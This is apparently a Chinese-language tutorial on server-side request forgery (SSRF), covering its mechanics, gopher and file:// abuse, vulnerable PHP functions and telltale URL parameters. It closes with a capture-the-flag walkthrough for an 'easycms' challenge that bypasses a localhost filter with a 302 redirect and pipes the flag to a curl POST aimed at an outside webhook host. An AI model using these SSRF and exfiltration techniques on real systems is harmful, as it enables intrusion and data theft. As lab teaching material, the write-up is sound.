SSRF简介
SSRF (Server-Side Request Forgery,服务器端请求伪造)是一种由攻击者构造请求,由服务端发起请求的安全漏洞。一般情况下,SSRF攻击的目标是外网无法访问的内部系统(正因为请求是由服务端发起的,所以服务端能请求到与自身相连而与外网隔离的内部系统)。
也就是(如果A是外网主机,B是不能访问外网的主机,C是能够访问A和B的主机——->SSRF也就是A通过C访问B)
SSRF漏洞原理
SSRF的形成大多是由于服务端提供了从其他服务器应用获取数据的功能且没有对目标地址做过滤与限制。例如,黑客操作服务端从指定URL地址获取网页文本内容,加载指定地址的图片等,利用的是服务端的请求伪造。SSRF利用存在缺陷的Web
应用作为代理攻击远程和本地的服务器。
攻击方式:
对外网、服务器所在内网、本地进行端口扫描,获取一些服务的banner信息。
攻击运行在内网或本地的应用程序。
对内网Web应用进行指纹识别,识别企业内部的资产信息。
攻击内外网的Web应用,主要是使用HTTP GET请求就可以实现的攻击(比如struts2、SQli等)。
利用gopher协议可以攻击内网的 Redis、Mysql、FastCGI、Ftp 等,也可以发送 GET、POST 请求,这可以拓宽 SSRF 的攻击面。
利用file协议读取本地文件等。
常用函数
1 | file_get_contents()、fsockopen()、curl_exec()、fopen()、readfile() |
漏洞点
常见SSRF漏洞验证方式
1 | 排除法:浏览器f12查看源代码看是否是在本地进行了请求 |
SSRF漏洞点挖掘
1 | 1. 社交分享功能:获取超链接的标题等内容进行显示 |
url关键字
1 | Share、wap、url、link、src、source、target、u、3g、display、sourceURL、imageURL、domain |
题目easycms:
搜索到迅睿cms 曾经存在ssrf,审计代码发现qrcode路由存在ssrf构造如下
1 | http://eci-2ze3cmcfbu4h73d67lga.cloudeci1.ichunqiu.com/index.php |
发现存在ssrf,但是直接访问127.0.0.1是被过滤的 尝试302去绕过
302配置如下
cmd处可任意命令执行,执行readflag外带flag /readflag | curl -X POST -d @- https://webhook.site/c8aa80e1-fbab-4051-b280-212f3a50a3e7
题目easycms_revenge:
刚才的差不多,好像加了一点waf?
1 | http://eci-2zeflmaf18ustq2ioeb5.cloudeci1.ichunqiu.com/index.php |
通过302到本地然后读取文件执行命令
外带flag